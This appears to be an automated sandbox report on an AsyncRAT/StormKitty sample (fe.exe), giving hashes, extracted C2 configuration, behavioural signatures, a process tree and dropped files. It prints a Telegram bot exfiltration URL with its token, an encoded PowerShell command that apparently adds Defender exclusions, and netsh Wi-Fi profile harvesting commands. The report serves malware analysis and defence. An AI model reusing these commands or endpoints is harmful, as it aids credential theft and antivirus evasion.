Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-08-2023 14:32

General

  • Target

    fe.exe

  • Size

    24.0MB

  • MD5

    fe7a215f58c846f671142227e0a71061

  • SHA1

    f40c456ce9f674ee93d3ef691c1b3aec0c53156b

  • SHA256

    69a281695cfceb02aec31b7ecc8105a60d606b2fc168ab32964380cd5fa79827

  • SHA512

    ff7efbd82997f802339407e709f074277ea609ac1f30ba1d768c5daac4a4990b7a731361717874fe98d524e0a012333e8b45ea1f83a1cc793fd0a06d8296b1ae

  • SSDEEP

    393216:VT4ER8LcdmjoDuUKQhgL9bH3x0PmFhpbgab/bKh17KfxRu7i4Kw5jnS01oufNTda:VT4ER0pjoNvhcX6u1blb/bEmZRGi4Lb5

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot6085983475:AAG9ma6AdbwS2Vmvqb_xIeiP1vbivSAPlXU/sendMessage?chat_id=1829819531

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 4 IoCs
  • Async RAT payload 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe.exe
    "C:\Users\Admin\AppData\Local\Temp\fe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAYgBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAdQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAbgBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBhACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3004
    • C:\Users\Admin\AppData\Local\Temp\deneme.exe
      "C:\Users\Admin\AppData\Local\Temp\deneme.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4684
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2348
        • C:\Windows\SysWOW64\chcp.com
          chcp 65001
          4⤵
            PID:3404
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            4⤵
              PID:1680
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              4⤵
                PID:1316
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4536
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                4⤵
                  PID:2092
                • C:\Windows\SysWOW64\netsh.exe
                  netsh wlan show networks mode=bssid
                  4⤵
                    PID:4624
              • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                "C:\Users\Admin\AppData\Local\Temp\ngrok.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3452

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\276aebd340e5e25dfb7481e1a9c7432d\msgid.dat

              Filesize

              2B

              MD5

              d1fe173d08e959397adf34b1d77e88d7

              SHA1

              b74f5ee9461495ba5ca4c72a7108a23904c27a05

              SHA256

              98a3ab7c340e8a033e7b37b6ef9428751581760af67bbab2b9e05d4964a8874a

              SHA512

              7bf79737110a1d25ffc719d9a8df5f5caf32f9f270ba0a560cc320f3a30366a4b20bfad4a4b35119a0764a0130f96f0c505ef3537a2295f6ee8ac1acb8eb36d4

            • C:\Users\Admin\AppData\Local\9d8acf90a00d8932071a5c4d5cc05447\Admin@GBSDSUCH_en-US\System\Process.txt

              Filesize

              4KB

              MD5

              200c67b1d18854d440c4b7e4dc033eeb

              SHA1

              c0d27be0a49b7fb41f742438fb7494e313beca34

              SHA256

              0d3b5cc201d193df781d53979fb40f8a944b83a1d3e7129263460be78fe2adc2

              SHA512

              6bb0f7418ff1657de7b9ab2d8e7ef8431390230aae0ec1e386d5ed513c472c232b67e716848d96946c3e38332b2f1a838208d715c9fce8b755f5b12cd4beff9d

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_44kf2hi3.pnm.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • memory/2236-174-0x00007FFF16F10000-0x00007FFF179D1000-memory.dmp

              Filesize

              10.8MB

            • memory/2236-133-0x0000000000D70000-0x000000000256C000-memory.dmp

              Filesize

              24.0MB

            • memory/2236-134-0x00007FFF16F10000-0x00007FFF179D1000-memory.dmp

              Filesize

              10.8MB

            • memory/2236-135-0x0000000002D30000-0x0000000002D40000-memory.dmp

              Filesize

              64KB

            • memory/3004-180-0x00007FFF16F10000-0x00007FFF179D1000-memory.dmp

              Filesize

              10.8MB

            • memory/3004-149-0x000002AB81550000-0x000002AB81560000-memory.dmp

              Filesize

              64KB

            • memory/3004-171-0x000002AB81550000-0x000002AB81560000-memory.dmp

              Filesize

              64KB

            • memory/3004-158-0x000002ABFF3E0000-0x000002ABFF402000-memory.dmp

              Filesize

              136KB

            • memory/3004-147-0x00007FFF16F10000-0x00007FFF179D1000-memory.dmp

              Filesize

              10.8MB

            • memory/3004-148-0x000002AB81550000-0x000002AB81560000-memory.dmp

              Filesize

              64KB

            • memory/3004-177-0x000002AB81550000-0x000002AB81560000-memory.dmp

              Filesize

              64KB

            • memory/4684-182-0x00000000746A0000-0x0000000074E50000-memory.dmp

              Filesize

              7.7MB

            • memory/4684-181-0x0000000005780000-0x00000000057E6000-memory.dmp

              Filesize

              408KB

            • memory/4684-176-0x0000000005600000-0x0000000005610000-memory.dmp

              Filesize

              64KB

            • memory/4684-183-0x0000000005600000-0x0000000005610000-memory.dmp

              Filesize

              64KB

            • memory/4684-168-0x0000000000D80000-0x0000000000DB0000-memory.dmp

              Filesize

              192KB

            • memory/4684-328-0x0000000005600000-0x0000000005610000-memory.dmp

              Filesize

              64KB

            • memory/4684-330-0x00000000065D0000-0x0000000006662000-memory.dmp

              Filesize

              584KB

            • memory/4684-331-0x0000000006C20000-0x00000000071C4000-memory.dmp

              Filesize

              5.6MB

            • memory/4684-335-0x00000000065C0000-0x00000000065CA000-memory.dmp

              Filesize

              40KB

            • memory/4684-169-0x00000000746A0000-0x0000000074E50000-memory.dmp

              Filesize

              7.7MB

            • memory/4684-341-0x0000000006810000-0x0000000006822000-memory.dmp

              Filesize

              72KB

            • memory/4684-366-0x0000000005600000-0x0000000005610000-memory.dmp

              Filesize

              64KB